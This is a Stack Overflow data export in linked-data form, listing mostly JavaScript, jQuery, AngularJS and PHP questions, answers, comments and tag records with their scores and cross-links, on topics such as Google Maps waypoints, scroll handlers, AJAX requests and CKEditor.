has body: Warning items are intended to display information when a route has been found, you are right. For example, it is telling that the walking directions mode results are in beta. Sample: http://maps.googleapis.com/maps/api/directions/json?origin=Boston,MA&amp;destination=Concord,MA&amp;waypoints=Charle,MA&amp;mode=walking For the problem you depicted (waypoint is not found), the response of the webservice is really short. Sample call with a non-working waypoint: http://maps.googleapis.com/maps/api/directions/json?origin=Boston,MA&amp;destination=Concord,MA&amp;waypoints=Chle,MA Result: { "routes" : [], "status" : "ZERO_RESULTS" } The google maps Directions API is not currently helping for your case, and you also cannot try to geocode all your waypoint at once. Furthermore, the geocode api will throw an error if you exceed 5 simultaneous requests, so you initial workaround idea may be limited. As a workaround (but not perfect, as the results between this service and gmaps service can be different), you could try to use other geocoding services, such as the one provided by OpenStreetMap: http://wiki.openstreetmap.org/wiki/Nominatim#Search You still have to do it one-by-one, but you won't be getting a "query limit exceeded" error.
answers question: http://stackoverflow.com/q/25728159
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40223885
accepted answer of: http://stackoverflow.com/q/25728159
type: Answer
score: 0

http://stackoverflow.com/a/25795365
score: 0
type: Answer
has body: I have found that by putting calls inside they will be fired sequentially. If they are outside then it will call the database and try to call the update before the database call has finished and will cause issues. Try changing your code like this categories.change(function () { requests.find('option').remove(); $.getJSON('_Some_Page', { Category: $("#BLL_ID&gt;option:selected").val() }, function (data) { $(data).each(function (index) { $("&lt;option value=" + this.Value + "&gt;" + this.Text + " &lt;/option&gt;").appendTo(requests); }); updateTitle(); //move the update here so it is inside the getJSON }); });
answers question: http://stackoverflow.com/q/25794651
accepted answer of: http://stackoverflow.com/q/25794651
type: AcceptedAnswer

http://stackoverflow.com/comment/53958601
score: 0
type: AnswerComment
type: Comment
has text: Also if you have provided a `transform: ` function for your data set, you need to provide an `inverseTransform: ` function, too.
comment on: http://stackoverflow.com/a/26487195

http://stackoverflow.com/a/25714091
has body: Try $('*').on('mousedown', function (e) { var elementClicked = e.target.nodeName; console.log("element: " + elementClicked) })
upvote count: 1
type: Answer
downvote count: 0
score: 1
answers question: http://stackoverflow.com/q/25713853

http://stackoverflow.com/comment/40254477
comment on: http://stackoverflow.com/a/25744206
has text: i tried. u chagenged my 'gsm' from varchar to int and i changed it to intval() but nothing happens. something still missing. it gives : **TypeError: data is null**
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/q/25838297
favorite count: 0
score: 0
has body: I have a HTML page with element with a few options. case 1 case 2 case 3 case 4 function insertFragmentPage() { var selectElement = document.getElementById("sel_id"); var div = document.getElementById("par_id"); var fragment1 = document.createElement("div"); var fragment2 = document.createElement("div"); if (selectElement.selectedIndex > 2) { if (selectElement.nextSibling != null) { div.removeChild(selectElement.nextSibling); } div.appendChild(CONTENT_OF_FRAGMENT1); } else { if (selectElement.nextSibling != null) { div.removeChild(selectElement.nextSibling); } div.appendChild(CONTENT_OF_FRAGMENT2); } } CONTENT_OF_FRAGMENT1 and CONTENT_OF_FRAGMENT2 are files in the same directory named frag1.html and frag2.html containg HTML code with root element . I know I could build this element directly inside the function insertFragmentPage() but this wouldbe very painful job. How would you append the content of those files from Javascript?
has answer: http://stackoverflow.com/a/25838416
type: UnansweredQuestion
upvote count: 1
downvote count: 1
has comment: http://stackoverflow.com/comment/40425468
tagged with: dom
type: Question
has title: Insert partial HTML file from Javascript
answer count: 1
tagged with: javascript

http://stackoverflow.com/comment/40306046
comment on: http://stackoverflow.com/q/25768891
score: 1
has text: one easy way to capture the incoming and outgoing stanza's is by using a network debugging tool such as fiddler, alternatively you can use the browsers built in network debugger, but fiddler can also display the stanza as a parsed XML document which makes it much easier to see what's going on. You can also add a custom handler to Strophe's `XMLInput` and `XMLOutput` to view the stanzas.
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40250466
type: AnswerComment
has text: Yes, I mis-read your question. I updated the answer after that.
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25742755

http://stackoverflow.com/q/25723281
type: Question
answer count: 2
tagged with: javascript
score: 0
has answer: http://stackoverflow.com/a/25723389
has body: I having init.js page like this function fnFormatDetails ( oTable, nTr ) { var aData = oTable.fnGetData( nTr ); var sOut = ' '; sOut += ' Rendering engine: '+aData[1]+' '+aData[4]+' '; sOut += ' Link to source: Could provide a link here '; sOut += ' Extra info: And any further details here (images etc) '; sOut += ' '; return sOut; } What I want is to write a mySql query that retrieves data from the database and shows it sOut in js Is it possible ? Thanks
type: UnansweredQuestion
tagged with: php
has answer: http://stackoverflow.com/a/25723839
has title: Is possible to write mysql query inside the init.js
tagged with: mysql

http://stackoverflow.com/q/25755591
possible better answer: http://stackoverflow.com/a/25756224
score: 0
answer count: 2
has answer: http://stackoverflow.com/a/25756224
has title: .update Not working -- Meteor
tagged with: meteor
accepted answer: http://stackoverflow.com/a/25775654
has comment: http://stackoverflow.com/comment/40274547
type: AnsweredQuestion
type: Question
tagged with: mongodb
has body: For some odd reason, my .update function isn't properly functioning. I thought the selector of this._id is the issue here, but I tried passing in a raw ID of one of the items in my database instead. With good_input, the .insert content is all stored in the database but the .update is merely skipped looking at the results. Template.newInstitution.events({ 'click #form_institution': function () { var inst_name = $('#name')[0].value; var inst_type = $('#type')[0].value; var inst_school = $('#school')[0].value; var inst_desc = $('#description')[0].value; var good_input = true; if (inst_name === "") { $('#name')[0].placeholder = "Please enter a name"; $('#nameDiv').addClass("has-error"); good_input = false; } if (inst_type === "") { $('#type')[0].placeholder = "Please enter a type"; $('#typeDiv').addClass("has-error"); good_input = false; } if (inst_school === "") { $('#school')[0].placeholder = "Please enter your affiliated school"; $('#schoolDiv').addClass("has-error"); good_input = false; } if (inst_desc === "") { $('#description')[0].placeholder = "Please enter a description"; $('#descDiv').addClass("has-error"); good_input = false; } if (good_input) { Institutions.insert({ admin: Meteor.userId(), title: inst_name, type: inst_type, school: inst_school, description: inst_desc }); Institutions.update({_id: this._id}, {$push: { members: Meteor.userId() }} ); Router.go('songs'); } } }); https://bpaste.net/show/befaba419c19 Would someone identify the issue here and explain the cause of it?
tagged with: javascript
has answer: http://stackoverflow.com/a/25775654
tagged with: jquery

http://stackoverflow.com/q/25811653
tagged with: jquery
score: 4
has body: Hello i have 2 functions , first detect sroll direction up/down , and launch other function (autoscrolling). How to force stop .scroll() function after call ? now it's look's like infinity loop... var pageScroll = function(){ var iScrollPos = 0; $(window).scroll(function(e){ var iCurScrollPos = $(this).scrollTop(); if (iCurScrollPos &gt; iScrollPos) { App.scrollto((currentPage+1)); } else { App.scrollto((currentPage-1)); } iScrollPos = iCurScrollPos; }); } and called functions scrollto: function(page){ var section_offset = $('section[data-page="'+page+'"]').offset().top; $('html, body').animate({ scrollTop: section_offset }, 'slow',function(){ $('html, body').stop(); currentPage = page; console.log(currentPage); }); } and console log screen http://prntscr.com/4m493q (infinity loop)
favorite count: 0
type: UnansweredQuestion
upvote count: 4
has answer: http://stackoverflow.com/a/25811787
answer count: 4
downvote count: 0
tagged with: scroll
has answer: http://stackoverflow.com/a/43880240
has answer: http://stackoverflow.com/a/52407718
type: Question
tagged with: javascript
has title: how to stop scroll event
has answer: http://stackoverflow.com/a/25811735

http://stackoverflow.com/q/25869804
accepted answer: http://stackoverflow.com/a/25871284
tagged with: gruntjs
has comment: http://stackoverflow.com/comment/40483454
has comment: http://stackoverflow.com/comment/40482667
score: 0
has title: NPM modules in Grunt based projects
answer count: 1
linked to: http://stackoverflow.com/q/6971583
has body: Node has a simple module loading system which uses require() method call to load modules from different locations in the root folder. E.g. var qr = require('qr-image'); I am trying to do something similar in grunt but i am unsuccessful with that. I had added this module to package.json file in the following fashion and then ran npm install at root directory of the project. "devDependencies": { . . . "qr-image": "^2.0.0" }, Now whenever I use require I get the following error on console and my code breaks. ReferenceError: require is not defined Please suggest as how to use the npm module in Grunt based project, Thanks.
tagged with: npm
tagged with: node.js
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/4542632
has comment: http://stackoverflow.com/comment/40484228
has answer: http://stackoverflow.com/a/25871284
type: Question
tagged with: javascript

http://stackoverflow.com/q/25778122
has title: Best way to call one javascript file from another
has body: I am a JavaScript newb but am familiar with the procedural/dynamic workings of Ruby. What is the simplest way to start executing code from a different JavaScript file? All I know how to do is execute code from one file.
has comment: http://stackoverflow.com/comment/40315684
tagged with: javascript
has answer: http://stackoverflow.com/a/25778175
accepted answer: http://stackoverflow.com/a/25778175
type: Question
has comment: http://stackoverflow.com/comment/40315562
score: 0
has comment: http://stackoverflow.com/comment/40315579
answer count: 1
has comment: http://stackoverflow.com/comment/40315670
has comment: http://stackoverflow.com/comment/40315573
tagged with: node.js
has comment: http://stackoverflow.com/comment/40315599
has comment: http://stackoverflow.com/comment/40315589
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40315628
has comment: http://stackoverflow.com/comment/40315572

http://stackoverflow.com/comment/40369942
comment on: http://stackoverflow.com/a/25807680
type: Comment
has text: Enter some value,select all,right click,delete, I am looking for a solution for that +1
score: 0
type: AnswerComment

http://stackoverflow.com/comment/40441469
type: Comment
comment on: http://stackoverflow.com/q/25847079
score: 0
type: QuestionComment
has text: The title of your question is incorrect. I guess you mean "define", not "call".

http://stackoverflow.com/comment/40355333
type: QuestionComment
comment on: http://stackoverflow.com/q/25799796
score: 0
has text: I find some Browsers have a problem with the `video` `poster` attribute. You may want to just change the background of an Element.
type: Comment

http://stackoverflow.com/q/25858366
has body: I have a custom directive. In it the attributes of the link function, I'm trying to get the value of attributes.user; In my view page, this custom directive is being used in the following manner: &lt;div my-directive user="{{user.name}}"&gt;&lt;/div&gt; Now user is a model object that I'm getting back from a JSON response after making a request to a certain url using the $http service. However, when I check the value of attribute.user in my directive by inserting 'debugger' in my code, I'm getting a blank for attribute.user. If I set user.name to something like "hello", I'm actually getting "hello" back. I also tried: attributes.$observe('user', function(val){...}) but to no avail. Is this because I'm making an async request and that's why I'm getting a blank? What is going on and how do I go about resolving this? Thanks! Edit: Here's a snippet of my directive code angular.module('myApp').directive('myDirective', function() { return { restrict: 'A', scope: true, link: function($scope, elem, attr) { $scope.user = $.parseJSON(attr.user) }, controller: ['$scope', '$rootScope', 'GlobalVariables', function($scope, $rootScope, GlobalVariables) { $rootScope.hasSignedUp = GlobalVariables.hasSignedUp; $rootScope.signUpId = GlobalVariables.signUpId; $rootScope.$watch('hasVoted', function(newVal, oldVal) { if(newVal === true) { if($rootScope.signUpId == $scope.user.id){ $scope.text = 'Signed Up!'; }else{ $scope.text = 'Sign Up'; } }else{ $scope.text = 'Sign Up'; } }); }] }; });
has title: Angular directive - asynchronous attr interpolation
type: Question
answer count: 2
tagged with: javascript
score: 0
has answer: http://stackoverflow.com/a/25858552
tagged with: angularjs
has answer: http://stackoverflow.com/a/25858530
type: UnansweredQuestion

http://stackoverflow.com/comment/40280658
comment on: http://stackoverflow.com/q/25758092
has text: I have post the data using ajax if user block the javascript then no post will be happend
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40300134
type: QuestionComment
has text: Could it be a problem with the MarkerWithLabel library? Is the Google Charts URLs you're using producing the correct icons based on the different arguments? What are you doing (i.e. show us the code) with `TripMap.originMarker`, `TripMap.destinationMarker` etc?
comment on: http://stackoverflow.com/q/25769684
score: 0
type: Comment

http://stackoverflow.com/comment/40424014
score: 0
type: Comment
type: QuestionComment
has text: @charlietfl: How could I then have different look and feel for front end and the admin end as I would need different CSS and JavaScript files for that? Is it possible to be done?
comment on: http://stackoverflow.com/q/25837166

http://stackoverflow.com/comment/40225868
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25729425
has text: This is actually what I wanted to do, I just want to point that there is no need to use $('.this).parent, since we just want to hide the element when we click, thank you so much for the answer!
score: 0

http://stackoverflow.com/q/25750236
has answer: http://stackoverflow.com/a/25750258
linked to: http://stackoverflow.com/q/21984824
favorite count: 0
tagged with: constructor
type: Question
has comment: http://stackoverflow.com/comment/40264231
linked to: http://stackoverflow.com/q/336859
accepted answer: http://stackoverflow.com/a/25750258
duplicate of: http://stackoverflow.com/q/336859
score: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/40264293
answer count: 1
downvote count: 1
has comment: http://stackoverflow.com/comment/40264560
tagged with: function
tagged with: javascript
has body: I have studied Javascript for a litte while now but I can't seem how to spot the difference if a statement is a function or constructor. This is the code for a Constructor: function Book (pages, author) { this.pages = pages; this.author = author; } And this is a simple function: var cars = function(printCar){ console.log(blabla); }; However I have seen in serveral tutorials(i.e CodeCademy) that they are using the constructor syntax for making functions aswell. How is this possible?
linked to: http://stackoverflow.com/q/1646698
has title: Javascript difference between function and constructor syntax?
type: AnsweredQuestion

http://stackoverflow.com/q/25870811
has comment: http://stackoverflow.com/comment/40484407
tagged with: browser-history
has body: To be specific i will give a live example: http://www.shopcade.com/rodrigopires/lists/5415e86366a92f4f158b4848/funky-shoes At this page when a product is clicked it opens a frame-like page. On this page you can navigate through products. But when you click the close button, you can always go back to list page. I believe history api has been used, but i really don't understand how they stored whole page content through all navigation.
type: AnsweredQuestion
tagged with: javascript
has answer: http://stackoverflow.com/a/32082842
type: Question
has title: History Api: How to store a page
score: 0
accepted answer: http://stackoverflow.com/a/32082842
answer count: 1

http://stackoverflow.com/a/25872014
answers question: http://stackoverflow.com/q/25863514
has body: You missed to apply the WorldMatrix of the object to your points. Here is how it should work: First you get the face Point of the original mesh as follows. PointA = intersections[0].object.geometry.vertices[intersections[0].face.a] On this point there is no scaling, rotation, translation. So you need to add these to your point to get the right position. For that you just apply the WorldMatrix of the Object to the Point. PointA.applyMatrix4(intersections[0].object.matrixWorld); Now you have the real coordinates where you have to put you spheres. (PointA.x, PointA.y, PointA.z)
score: 0
type: AcceptedAnswer
type: Answer
accepted answer of: http://stackoverflow.com/q/25863514

http://stackoverflow.com/comment/40226899
type: QuestionComment
comment on: http://stackoverflow.com/q/25729547
score: 0
has text: @AbuHamzah Are you planning on implementing server-side or client-side search?
type: Comment

http://stackoverflow.com/comment/40486331
type: Comment
type: QuestionComment
score: 1
has text: If the pseudo element was positioned absolutely, it would have no effect on the width/height of the 'parent'. What is it you are trying to do and why?
comment on: http://stackoverflow.com/q/25871907

http://stackoverflow.com/q/25762035
type: Question
has body: I am using CKEditor version 4 and posting data from editor through ajax call however sometimes all the data post successfully and sometimes it just truncates it. As far I know the reason behind this is when editing the data it adds "&nbsp;" which cause this to truncate. Any help how to completely resolve this issue ? My code &lt;script type="text/javascript"&gt; var editor = CKEDITOR.replace('message'); function checkSubmit() { for(var instanceName in CKEDITOR.instances){ CKEDITOR.instances['message'].updateElement(); } var dataString = "action=&lt;?php echo $_REQUEST['action']; ?&gt;" + "&amp;id_user=&lt;?php echo $_REQUEST['id_user']; ?&gt;" + "&amp;sub_id=&lt;?php echo $_REQUEST['subject_id']; ?&gt;" + "&amp;subject_id=&lt;?php echo $_REQUEST['actual_subject_id']; ?&gt;" + "&amp;message="+ CKEDITOR.instances['message'].getData()+ "&amp;subject_name="+$("#subject").text() + "&amp;occurence_name="+$("#occurency").text(); $.ajax({ type: "POST", url: "data/user-student-data.php", data: dataString, success: function(data) { // close window parent.closeDistributeModal( 1, "&lt;?php echo $_REQUEST['action']; ?&gt;", &lt;?php echo $_REQUEST['id_user']; ?&gt;,&lt;?php echo $_REQUEST['subject_id']; ?&gt; ); } }); } &lt;/script&gt;
tagged with: javascript
tagged with: ckeditor
tagged with: jquery
tagged with: ajax
score: 0
answer count: 1
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25780720
has title: CKEditor data truncates when sending through AJAX

http://stackoverflow.com/comment/40221996
has text: You can't use an `if` **statement** inside an **expression**. You are looking for the [*conditional operator*](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Conditional_Operator).
comment on: http://stackoverflow.com/q/25727577
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/25733533
type: Answer
score: 1
upvote count: 1
has body: You would have to first remove the image from the array using array.splice(index,howmanyitems), Then use array.unshift(item) to push the item into the first spot of the array. $('.thumbnail').on('click','img.stacked',function(){ var item = $(this); var n = sliderImg.indexOf(item); if (n!=-1){ sliderImg.splice(n,1); sliderImg.unshift(item); } });
downvote count: 0
answers question: http://stackoverflow.com/q/25733391

http://stackoverflow.com/a/25845415
type: Answer
downvote count: 0
score: 1
upvote count: 1
has body: The first if is standalone. Use if{} else if{} else{}
answers question: http://stackoverflow.com/q/25845382

http://stackoverflow.com/q/25783602
tagged with: css
has answer: http://stackoverflow.com/a/25784465
has title: Dynamic select box in AngularJS with jQuery
has answer: http://stackoverflow.com/a/25784479
favorite count: 0
type: UnansweredQuestion
upvote count: 1
has body: Following is my PLNKR CODE Problem - I am trying to create a dynamic label option and textarea like - If a user selects "Work" then on clicking the "+" icon, next select will only contains ["Cell", "Home", "Fax"] And then again selecting "Home", from the second select and clicking "+" icon, next select will only contains ["Cell", "Fax"] and so on. But I am unable to do so as my first array is decrementing and no data is coming in the lower select options. Let me know what I am doing wrong and how could I make it (suggestions are welcome too).
score: 1
type: Question
answer count: 2
downvote count: 0
tagged with: javascript
tagged with: jquery
tagged with: angularjs
tagged with: http://stackoverflow.com/tag/html

ruby-on-rails
tags question: http://stackoverflow.com/q/25854541
tags question: http://stackoverflow.com/q/25793808
tags question: http://stackoverflow.com/q/25789458
type: Tag
tags question: http://stackoverflow.com/q/25831058
tags question: http://stackoverflow.com/q/25780705
tags question: http://stackoverflow.com/q/25734830
tags question: http://stackoverflow.com/q/25834063
tags question: http://stackoverflow.com/q/25855758
tags question: http://stackoverflow.com/q/25841803
tags question: http://stackoverflow.com/q/25720164
tags question: http://stackoverflow.com/q/25828289
tags question: http://stackoverflow.com/q/25777392
tags question: http://stackoverflow.com/q/25784093
tags question: http://stackoverflow.com/q/25814127
tags question: http://stackoverflow.com/q/25712995
tags question: http://stackoverflow.com/q/25713662
tags question: http://stackoverflow.com/q/25800891
tags question: http://stackoverflow.com/q/25831544
tags question: http://stackoverflow.com/q/25845706
tags question: http://stackoverflow.com/q/25788886
tags question: http://stackoverflow.com/q/25821539
tags question: http://stackoverflow.com/q/25771127
tags question: http://stackoverflow.com/q/25869466
tag name: ruby-on-rails
tags question: http://stackoverflow.com/q/25839291
tags question: http://stackoverflow.com/q/25740096
tags question: http://stackoverflow.com/q/25835765
tags question: http://stackoverflow.com/q/25831256
tags question: http://stackoverflow.com/q/25747325
tags question: http://stackoverflow.com/q/25752655
tags question: http://stackoverflow.com/q/25768834
tags question: http://stackoverflow.com/q/25753824
tags question: http://stackoverflow.com/q/25772161
tags question: http://stackoverflow.com/q/25716353
tags question: http://stackoverflow.com/q/25774592
tags question: http://stackoverflow.com/q/25757296
tags question: http://stackoverflow.com/q/25846487
tags question: http://stackoverflow.com/q/25726223
tags question: http://stackoverflow.com/q/25794251
tags question: http://stackoverflow.com/q/25749658
tags question: http://stackoverflow.com/q/25775738
tags question: http://stackoverflow.com/q/25862710
tags question: http://stackoverflow.com/q/25778969
tags question: http://stackoverflow.com/q/25849028
tags question: http://stackoverflow.com/q/25794622
tags question: http://stackoverflow.com/q/25838853
tags question: http://stackoverflow.com/q/25736084
tags question: http://stackoverflow.com/q/25838474
tags question: http://stackoverflow.com/q/25762189
tags question: http://stackoverflow.com/q/25850037
tags question: http://stackoverflow.com/q/25777403
tags question: http://stackoverflow.com/q/25782770

http://stackoverflow.com/a/25805945
has body: plnkr = http://plnkr.co/edit/WTNuWKSgj0bMR1dtUkto?p=preview The best way to configure how your services behave is to use providers. so, assuming you already have a mydata from your ajax call, the plnkr above shows a running example... myapp.config(['sayHelloProvider',function(sayHelloProvider){ // assuming your ajax retrievies mydata var mydata = angular.fromJson( angular.element(document.getElementById('mydata')).html() ); // configure service sayHelloProvider.SetMessage("Olah! rate is=" + mydata.rate); }]);
answers question: http://stackoverflow.com/q/25804767
type: Answer
score: 0

http://stackoverflow.com/a/25848327
type: Answer
score: 2
upvote count: 2
answers question: http://stackoverflow.com/q/25848243
downvote count: 0
has body: The property is defaults, not default: var Person = Backbone.Model.extend ({ defaults: { // ... } }); Backbone docs

http://stackoverflow.com/comment/40213118
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/25722436
type: Comment
has text: I want to drag button only on table, But when i drag then table also drag. You can find this line for button drag event on line 473 code:- $( "#"+globalIdTosetRow ).draggable({ containment: "parent"

http://stackoverflow.com/comment/40400127
has text: It shows "undefined:11" on the alert. I tried document.getElementById("buttona").onclick = makeCounter("this is buttonA"); What I missing?
comment on: http://stackoverflow.com/a/25824552
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/a/25839932
has comment: http://stackoverflow.com/comment/40464313
has body: I think you don't know any code in php, so here is the code to post your data to next page, but you need to install wamp or xampp to run a php code. in your nextpage.php use this code to insert it to your table <?php //because you use method post you can access your form value by using this code $town = $_POST['town']; $location = $_POST['location']; $time= $_POST['incident_type']; $admin = $_POST['admin']; ?> TOWN LOCATION INCIDENT TYPE TIME/DATE ADMIN <?php echo " ". $town." "; echo " ". $location." "; echo " ". $time." "; echo " ". $admin ." "; ?>
has comment: http://stackoverflow.com/comment/40428718
type: Answer
has comment: http://stackoverflow.com/comment/40503148
has comment: http://stackoverflow.com/comment/40428698
has comment: http://stackoverflow.com/comment/40429039
has comment: http://stackoverflow.com/comment/40464304
score: 0
has comment: http://stackoverflow.com/comment/40464896
has comment: http://stackoverflow.com/comment/40463077
has comment: http://stackoverflow.com/comment/40504329
has comment: http://stackoverflow.com/comment/40463305
has comment: http://stackoverflow.com/comment/40503767
has comment: http://stackoverflow.com/comment/40464339
has comment: http://stackoverflow.com/comment/40464139
has comment: http://stackoverflow.com/comment/40503885
has comment: http://stackoverflow.com/comment/40429016
answers question: http://stackoverflow.com/q/25839830
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/43781562
has comment: http://stackoverflow.com/comment/40464180
has comment: http://stackoverflow.com/comment/40464244
has comment: http://stackoverflow.com/comment/40428715
has comment: http://stackoverflow.com/comment/40464540
accepted answer of: http://stackoverflow.com/q/25839830
has comment: http://stackoverflow.com/comment/40464325

http://stackoverflow.com/a/25721312
has comment: http://stackoverflow.com/comment/40213638
has comment: http://stackoverflow.com/comment/40211185
upvote count: 1
has comment: http://stackoverflow.com/comment/40212656
has body: to detect AJAX calls on a webpage you have to inject the code directly in that page and then call the .ajaxStart or .ajaxSuccess Example: // To Successfully Intercept AJAX calls, we had to embed the script directly in the Notifications page var injectedCode = '(' + function() { $('body').ajaxSuccess(function(evt, request, settings) { if (evt.delegateTarget.baseURI == 'URL to check against if you want') { // do your stuff } }); } + ')();'; // Inserting the script into the page var script = document.createElement('script'); script.textContent = injectedCode; (document.head || document.documentElement).appendChild(script); script.parentNode.removeChild(script);
has comment: http://stackoverflow.com/comment/40211161
has comment: http://stackoverflow.com/comment/40210732
type: Answer
answers question: http://stackoverflow.com/q/25716682
downvote count: 0
score: 1

http://stackoverflow.com/comment/43429897
type: AnswerComment
type: Comment
has text: @Jaikrat Use of verticle lables solution can use bar space too if worst comes to worst. Instead of text overlap text, text overlap bar will not be problem. I could have put background for text in another color for better readability but look of graph suffers in that. You can experiment with colors and font sizes to suit you. Hope it helps
comment on: http://stackoverflow.com/a/27466669
score: 1

http://stackoverflow.com/comment/40434351
type: AnswerComment
score: 0
has text: you need to use dashstyle property of highcharts.. here: http://jsfiddle.net/hj22wbe5/15/
type: Comment
comment on: http://stackoverflow.com/a/25762448

http://stackoverflow.com/q/25766238
favorite count: 0
tagged with: logic
possible better answer: http://stackoverflow.com/a/31461839
tagged with: qualtrics
tagged with: merge
has body: I'm currently working on a Qualtrics survey in which respondents have to solve a long list of anagrams, and then answer some demographic questions. To make the anagram part easier, I've used a Loop and Merge block: the first field is the anagram to be solved, the second field is the solution of the anagram, and the survey can therefore check the answer of the respondent against the solution for each anagram. As it is, the survey is working perfectly: however, I'd like to allow respondents to prematurely exit the loop by typing "EXIT" in the response field, and to redirect them to the next question block (the demographic questions). This is typically something that is achieved using "Skip" logic: however, skipping to the end of the block does not do the trick (the loop restarts). I managed to redirect them to the end of the survey, but not to the demographic question block. Is there a way to use javascript to jump to the demographic block or exit the loop and merge block prematurely? Am I missing a Qualtrics option that would do the trick?
has answer: http://stackoverflow.com/a/27216867
accepted answer: http://stackoverflow.com/a/27216867
score: 2
type: AnsweredQuestion
has title: Prematurely exiting a Loop and Merge block in Qualtrics
tagged with: loops
type: Question
has answer: http://stackoverflow.com/a/31461839
upvote count: 2
answer count: 3
downvote count: 0
has answer: http://stackoverflow.com/a/62697709
tagged with: javascript

http://stackoverflow.com/comment/40448335
type: Comment
has text: I think I got the point, thanks for the explanation!
comment on: http://stackoverflow.com/q/25816339
type: QuestionComment
score: 0

http://stackoverflow.com/comment/41875742
type: AnswerComment
score: 0
type: Comment
has text: It's definitely not fixed with the iOS 8.1 production version.
comment on: http://stackoverflow.com/a/25907547

http://stackoverflow.com/a/25861646
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/25717990
upvote count: 1
accepted answer of: http://stackoverflow.com/q/25717990
score: 1
has body: I found better and cleaner way from my previous first way I used and guaranteed way and clearer, by using AddOn, like this : if (typeof ContentFlowGlobal != 'undefined') { new ContentFlowAddOn('ImageSelectAddOn', { ContentFlowConf : { // onclickInactiveItem: function (item) { // this.conf.onclickActiveItem(item); // }, onclickActiveItem : function(item) { var content = item.content; var i = item.index; // console.log("index : "+item.index); imageId = i + 1; // console.log("select called image id : " + imageId); ma([ { name : 'id', value : imageId } ]); }, onReachTarget : function(item) { this.conf.onclickActiveItem(item); } } }); ContentFlowGlobal.setAddOnConf("ImageSelectAddOn"); } Full documentation of ContentFlow can be found in this link: http://www.jacksasylum.eu/ContentFlow/docu.php , you can do alot of customization then. P.S.: ma() is the name of p:remoteCommad so I can pass variables to backbean. My issue solved like this, and I'm satisfied with this way, I hope I share something helpful for someone else later.
type: AcceptedAnswer

http://stackoverflow.com/comment/40408687
comment on: http://stackoverflow.com/a/25829205
score: 1
has text: It is not "", it is "\n ", so use `nodeValue.trim() == ""`
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/40399605
type: Comment
has text: actually thinking about it, what I've got is a .php file retrieving some data from a database, saying it receives it in plain text is it not possible to read the data from the database that has been retrieved onto the .php file say if I echo the results of searching the database on the .php file. could I not then use that data in the browser.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25823334

http://stackoverflow.com/a/25836041
has body: function preload(arrayOfImages){ $(arrayOfImages).each(function(){ (new Image()).src = this; }); for(i=1;i&lt;=40;i++) preload('/img/wallpapers/'images' + i + '.jpg');
type: Answer
downvote count: 0
score: 1
answers question: http://stackoverflow.com/q/25835984
has comment: http://stackoverflow.com/comment/40421041
upvote count: 1

http://stackoverflow.com/a/25844625
downvote count: 0
has body: I found the solution finally. The key is to use ScriptableOutputStream (to serialize) and ScriptableInputStream (to deserialize) Continuation and Scope. Below is working code. Javascript: function invokeFooService(arg) { return foo.bar.Helper.invokeFooServiceAsync(arg); } function main() { // Main JS function .. var response = invokeFooService(arg); if (..) { .. } } Java: package foo.bar; public class Helper { public static final void invokeFooServiceAsync(String arg) { Context cx = getContext(); ContinuationPending pending = cx.captureContinuation(); // Script is paused here ByteArrayOutputStream baos = new ByteArrayOutputStream(); ScriptableOutputStream sos = new ScriptableOutputStream(baos, getScope()); sos.writeObject(pending.getContinuation()); sos.writeObject(getScope()); String servicePayload = Base64.encodeBase64String(baos.toByteArray()); invokeFooServiceForReal(arg, servicePayload); // This method invokes the async service } public static final void returnFooServiceResponse(FooResponse response, String servicePayload) { // De serialize the state of script byte[] continuationAndScope = Base64.decodeBase64(servicePayload); ScriptableInputStream sis = new ScriptableInputStream(new ByteArrayInputStream(continuationAndScope), getScope()); Scriptable continuation = (Scriptable) sis.readObject(); Scriptable scope = (Scriptable) sis.readObject(); getContext().resumeContinuation(continuation, scope, response); // Script resumed } }
type: Answer
accepted answer of: http://stackoverflow.com/q/25837444
answers question: http://stackoverflow.com/q/25837444
score: 4
upvote count: 4
type: AcceptedAnswer

http://stackoverflow.com/comment/40274635
type: Comment
comment on: http://stackoverflow.com/q/25755650
has text: the concept is "collision detection"
score: 2
type: QuestionComment

http://stackoverflow.com/q/25738832
tagged with: php
has body: echo '&lt;tr&gt;'; foreach($types_show[0] as $size) { echo '&lt;td&gt;'.Form::radio('radio_size', $size-&gt;id) '&lt;/td&gt;'; } echo '&lt;/tr&gt;'; Here is the a list of radio buttons. and I use the following ajax code to send the value to php page. $(':radio[name=radio_size]').click(function(){ var radio_size = $(this).val(); $.ajax({ type: "GET", url: "/management/order/edit_input", data: {radio_size:radio_size}, cache: false, dataType: 'json', success: function(data) { $('#search_area').append(data); }, }); }); The PHP code return a view page which append to the existing #search_area. The problem is when I click a radio with id=7 first time ,it send GET http://localhost:8008/management/order/edit_input?radio_id=7&amp;_=1410246332142 The second time I click the radio with id=2 GET http://localhost:8008/management/order/edit_input?radio_id=2&amp;_=1410246332143 GET http://localhost:8008/management/order/edit_input?radio_id=2&amp;_=1410246332144 the third time you can see four. GET http://localhost:8008/management/order/edit_input?radio_id=7&amp;_=1410246332145 GET http://localhost:8008/management/order/edit_input?radio_id=7&amp;_=1410246332146 GET http://localhost:8008/management/order/edit_input?radio_id=7&amp;_=1410246332147 GET http://localhost:8008/management/order/edit_input?radio_id=7&amp;_=1410246332148 But I only want to send it once a time.How to fix it? Thanks.
score: 1
has answer: http://stackoverflow.com/a/25738924
type: Question
tagged with: javascript
has title: Why the request exponential growth?
upvote count: 1
answer count: 1
downvote count: 0
tagged with: jquery
favorite count: 0
tagged with: ajax
has comment: http://stackoverflow.com/comment/40243697
type: UnansweredQuestion

gmail
type: Tag
tags question: http://stackoverflow.com/q/25791887
tags question: http://stackoverflow.com/q/25838804
tag name: gmail
